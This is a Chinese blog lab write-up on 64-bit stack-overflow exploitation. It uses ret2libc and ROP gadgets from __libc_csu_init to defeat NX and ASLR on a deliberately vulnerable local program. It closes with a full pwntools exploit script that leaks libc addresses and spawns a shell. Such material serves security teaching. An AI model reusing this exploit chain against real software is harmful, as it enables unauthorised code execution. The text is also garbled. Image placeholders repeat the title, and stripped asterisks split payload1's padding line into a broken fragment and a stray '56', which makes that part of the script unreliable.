64位linux系统:栈溢出+ret2libc ROP attack

时间:2020-12-26 15:34:13

http://blog.51cto.com/13786619/2123970

一.实验要求

栈溢出+ ret2libc ROP
 操作系统:Ubuntu 16.04 64bit
 安全机制:不可执行位保护,ASLR(内存地址随机化)
打开安全机制,确保×××能绕过以上安全机制,利用漏洞完成attack,实现基本目标:调用system(“/bin/sh”),打开shell。
二.实验概述
ret2libc(return-into-libc)是一种利用缓冲区溢出的代码复用技术,主要通过覆盖栈帧的返回地址(EIP),使其返回到系统中的库函数,利用库函数中已有的功能来实施attack,而不是直接定位到注入的shellcode。
Linux系统关于缓冲区溢出主要有栈不可执行和ASLR的保护机制。ASLR 可以实现对进程的堆、栈、代码和共享库等的地址在程序每次运行的时候的随机化,大大增加了定位的难度。此外,在Linux64位系统中,函数间传递参数不再以压栈的方式,而是以寄存器方式传递参数。所以,要想在64位Ubuntu系统中实施attack操作,除了要绕过上述两个安全机制外,还需要控制用于传递参数的寄存器。本次attack主要有三个关键点:
1) 栈不可执行→代码复用(ret2libc调用系统函数)
2) ASLR→通过plt和got表获取系统函数的地址
3) 64位系统以寄存器方式传递参数→通过ROP控制寄存器
三.实验环境
Ubuntu desktop 16.04 LTS amd64
Gcc Gdb Python PwnTool
四.实验内容
4.1 漏洞程序
漏洞程序vul.c代码如下,main函数把“Hello ,World”读取到标准输出中,调用vulnerable_function()函数。在vulnerable_function()函数中,申请了128字节的buf,调用read()读取标准输入到buf中,未做边界检查,这就是漏洞所在。
64位linux系统:栈溢出+ret2libc ROP attack
将地址空间随机化打开sudo sysctl –w kernel.randomize_va_space=2
gcc编译漏洞程序,显式指明-z noexecstack,正常运行效果如下图所示:
64位linux系统:栈溢出+ret2libc ROP attack
4.2 attack漏洞程序
4.2.1 获取溢出点位置
为了正确定位溢出点位置,构造如下txt文件。
64位linux系统:栈溢出+ret2libc ROP attack
在gdb调试中运行发现溢出,由于程序使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常,所以程序停在了vulnerable_function()函数中。虽然PC不能跳转,但ret相当于“pop RIP”指令,所以只需看一下栈顶的数值就能知道PC跳转的地址。可以看到栈顶的数据为0x3765413665413565,即e5Ae6Ae7,在文件中是第137个字节,所以溢出点为136。
64位linux系统:栈溢出+ret2libc ROP attack
4.2.2 寻找gadgets
64位Ubuntu系统中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9寄存器里,如果有更多的参数再保存在栈上。漏洞程序中只有read()和write()两个函数,没有其他辅助组件。为了控制传递参数的寄存器,可以在程序初始化函数中提取通用的gadgets。
输入objdump –d ./vul观察_libc_csu_init()函数。
64位linux系统:栈溢出+ret2libc ROP attack
有两处可以利用的配件:

配件1

4005f0: 4c 89 ea                mov    %R13,%RDX
  4005f3:   4c 89 f6                mov    %R14,%RSI
  4005f6:   44 89 ff                mov    %R15d,%EDI
  4005f9:   41 ff 14 dc             callq  *(%R12,%RBX,8)
  4005fd:   48 83 c3 01             add    $0x1,%RBX
  400601:   48 39 eb                cmp    %RBP,%RBX
  400604:   75 ea                   jne    4005f0 <__libc_csu_init+0x40>

利用配件1,如将RBX设置为0,R12可以控制,通过callq*(%R12,%RBX,8)就可以跳转到任意地址执行代码。之后将RBX寄存器内容加1后,判断如果RBP等于RBX,就会继续执行第一次的代码。为了让RBP和RBX的值相等,可以将RBP的值设置为1。

配件2

400606: 48 83 c4 08             add    $0x8,%rsp
  40060a:   5b                   pop    %RBX
  40060b:   5d                   pop    %RBP
  40060c:   41 5c                   pop    %R12
  40060e:   41 5d                   pop    %R13
  400610:   41 5e                   pop    %R14
  400612:   41 5f                   pop    %R15
  400614:   c3                      retq

利用配件2可以将栈上数据放到指定寄存器中。
通过利用这两处配件,布置栈中数据,便可以利用配件2控制RBX,RBP,R12,R13,R14,R15寄存器的值,再利用配件1,控制RDX,RSI,EDI寄存器,调用寄存器R12中所存地址的函数。
4.2.3 通过偏移获取system函数的地址
由于ASLR机制是将栈和共享库文件等的起始地址随机化,而内部数据之间的偏移不变,所以可以通过先泄漏出libc.so某些函数在内存中的地址,然后再利用泄漏出的函数地址根据偏移量计算出system()函数的地址。
在漏洞程序vul.c中调用了write()和read()函数,可以通过write()输出write的got地址,再计算出libc.so在内存中的地址。为了返回到原程序中,重复利用漏洞,需要继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止。
构造payload1需要知道三个数据:write的got地址,write和system的偏移,main函数的地址。前两个数据可利用pwntool中的函数获得,而main函数的地址在命令行中输入objdump -d vul | grep main获得。
64位linux系统:栈溢出+ret2libc ROP attack
64位linux系统:栈溢出+ret2libc ROP attack
执行完后栈结构如下图所示,调用callq[R12+RBX*8],RBX为0,所以调用R12中的write函数,write的三个参数分别通过EDI,RSI,RDX寄存器传递,即执行wrtie(1,got_write,8),将write的函数地址在标准输出即屏幕上打印出来,通过之前计算的偏移就可以计算出system函数的地址。然后RBX加1,与RBP=1比较,正好相等,继续往下执行,由于下边全是0,最后跳转到函数main处继续执行。
64位linux系统:栈溢出+ret2libc ROP attack
4.2.4 利用read()将system()地址和字符串“/bin/sh”读入.BSS段中
由于64位系统的参数不是保存在栈上,而是通过寄存器传递,再加上开启了ASLR,需要找一个地址固定的地方保存参数。BSS段用来保存全局变量值,地址固定,并且可以读可写。为了方便调用system函数和传递参数” /bin/sh”,可以利用read()函数将其写入到地址固定的BSS段中。
构造payload2需要知道两个数据:read的got地址,BSS段的首地址。其中read的got地址直接利用pwntool中的方法即可获得,而BSS段首地址可在命令行中输入readelf -S vul | grep BSS获得。
64位linux系统:栈溢出+ret2libc ROP attack
64位linux系统:栈溢出+ret2libc ROP attack
执行完后栈结构如下图所示,与payload1类似,调用R12中的read函数,所需的三个参数分别通过EDI,RSI,RDX传递,即执行read(0,BSS_addr,16),从标准输入中读取16个字节写入BSS段的首地址中,这16个字节包括上一步计算出的system地址和字符串”/bin/sh”。
64位linux系统:栈溢出+ret2libc ROP attack 
4.2.5 执行system(“/bin/sh”)
经过以上两步,已经把system的地址和调用时所需的参数“/bin/sh”字符串存入了BSS段中,BSS段地址固定,构造payload3调用system。
64位linux系统:栈溢出+ret2libc ROP attack
执行完后栈结构如下图所示,类似的,R12中存储的是BSS段首地址,BSS段的首地址存储的是system函数的地址。R15中存储的是BSS首地址+8,BSS+8存储的是字符串”/bin/sh”,将R15的值赋给EDI,EDI用来传递第一个参数,即调用了system(“/bin/sh”)。
64位linux系统:栈溢出+ret2libc ROP attack
最终获得了shell,运行结果如下图所示:
64位linux系统:栈溢出+ret2libc ROP attack

附:

attack代码exp.py
`#!/usr/bin/env python 
from pwn import *

elf = ELF('vul') 
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process('./vul') 
got_write = elf.got['write'] 
print "got_write: " + hex(got_write) 
got_read = elf.got['read'] 
print "got_read: " + hex(got_read) 
off_system_addr = libc.symbols['write'] - libc.symbols['system'] 
print "off_system_addr: " + hex(off_system_addr)

main = 0x40057a

#rdi= edi = r13, rsi = r14, rdx = r15 
#write(rdi=1, rsi=write.got, rdx=4) 
payload1 = "\x41"*136

#pop_junk_rbx_rbp_r12_r13_r14_r15_ret 
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(8) + p64(got_write)+p64(1)
#mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx8]
payload1 += p64(0x4005f0)
payload1 += "\x00"
56 
payload1 += p64(main)

p.recvuntil("Hello, World\n") 
print "\n#############sending payload1#############\n" 
p.send(payload1) 
sleep(1)

write_addr = u64(p.recv(8)) 
print "write_addr: " + hex(write_addr)

system_addr = write_addr - off_system_addr 
print "system_addr: " + hex(system_addr)

bss_addr=0x601040

p.recvuntil("Hello, World\n")

#####################payload2###########

#rdi= edi = r13, rsi = r14, rdx = r15 
#read(rdi=0, rsi=bss_addr, rdx=16)

payload2 = "\x00"*136

payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0)

payload2 += p64(0x4005f0)

payload2 += "\x00"*56 
payload2 += p64(main)

print "\n#############sending payload2#############\n" 
p.send(payload2) 
sleep(1)

p.send(p64(system_addr)) 
p.send("/bin/sh\0") 
sleep(1)

p.recvuntil("Hello, World\n")

#####################payload3###########

#rdi= edi = r13, rsi = r14, rdx = r15 
#system(rdi = bss_addr+8 = "/bin/sh")

payload3 = "\x00"*136

payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8)

payload3 += p64(0x4005f0)

payload3 += "\x00"*56 
payload3 += p64(main)

print "\n#############sending payload3#############\n" 
sleep(1) 
p.send(payload3)

p.interactive()